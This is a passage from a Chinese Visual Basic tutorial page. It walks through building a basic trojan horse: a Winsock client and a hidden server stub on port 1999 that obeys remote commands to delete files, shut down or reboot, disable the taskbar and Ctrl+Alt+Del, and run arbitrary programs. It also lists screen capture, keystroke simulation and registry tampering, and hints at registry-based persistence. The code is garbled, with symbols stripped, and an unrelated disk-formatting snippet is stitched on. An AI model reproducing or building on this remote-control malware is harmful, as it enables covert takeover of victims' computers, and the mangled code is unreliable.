现它。
---- 使用 VB 建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。
---- 在 Client 工程中建立一个窗体,加载 WinSock 控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服务器的 IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:Private Sub cmdConnect_Click If LenText1.Text 0 And LenText2.Text 0 Then MsgBox quot请输入主机名或主机 IP 地址。
quot Exit Sub Else If LenText1.Text gt 0 Then tcpClient.RemoteHost Text1.Text Else tcpClient.RemoteHost Text2.Text End If End If tcpClient.Connect Timer1.Enabled TrueEnd Sub---- 连接建立之后就可以使用 DataArrival 事件处理所收到的数据了。
---- 在服务器端 systry 工程也建立一个窗体,加载 WinSock 控件,称为 tcpServer,协议选择TCP,在 Form_Load 事件中加入如下代码:Private Sub Form_Load tcpServer.LocalPort 1999 tcpServer.ListenEnd Sub---- 准备应答客户端程序的请求连接,使用 ConnectionRequest 事件来应答户端程序的请求,代码如下:Private Sub tcpServer_ConnectionRequestByVal requestID As Long If tcpServer.State lt gt sckClosed Then tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If 如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestIDEnd Sub---- 这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest 事件被触发,执行了以上的代码。
如果不出意外,连接就被建立起来了。
---- 建立连接后服务器端的程序通过 DataArrival 事件接收客户机端程序所发的指令运行既定的程序。
如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView 控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。
DataArrival 事件程序如下:Private Sub tcpServer_DataArrivalByVal bytesTotal As Long Dim strData As String Dim i As Long Dim mKey As String tcpServer.GetData strData‘接收数据并存入 strData For i 1 To LenstrData ‘分离 strData 中的命令 If MidstrData i 1 quotquot Then mKey LeftstrData i - 1‘把命令 ID 号存入 mKey ‘把命令参数存入 strDatastrData RightstrData LenstrData - i Exit For End If Next i Select Case ValmKey Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口; Case 5 屏蔽开始菜单; Case 6 按照客户机端传过来的文件名或目录名,而删除它; Case 7 屏蔽热启动键; Case 8 运行服务器端的任何程序 End SelectEnd Sub详细程序略。
---- 客户机端用 tcpClient.SendData 发命令。
命令包括命令 ID 和命令参数,它们用符号“”隔开。
---- 另外,当客户机端断开与服务器端的来接后,服务器端应用 tcpServer_Close 事件,来继续准备接收客户机端的请求,其代码如下:Private Sub tcpServer_Close tcpServer.Close tcpServer.ListenEnd Sub---- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。
至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
---- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。
警告:千万不要用 BO 程序破坏别人的系统。
软盘是数据的常用载体,我们的软件可能会提供用户将数据备份到软盘上的功能。
为避免软盘上有带有病毒的文件,最安全的办法就是提醒用户将软盘格式化。
Visual Basic 可以通过调用 API 函数格式化一个磁盘,无论是软盘还是硬盘。
打开一个新的项目project1 ,如果你没有更改过缺省模式,那么 Visual Basic 会自动添加一个 form1 文件,在 form1 上添加一个命令控件,将下面的代码拷入。
Option Explicit Private Declare Function SHFormatDrive Libquotshell32quot_ ByVal Hend AS Long_ ByVal D.
上一篇:
自动化操作轻松入门系列
下一篇:
计算机实践报告论文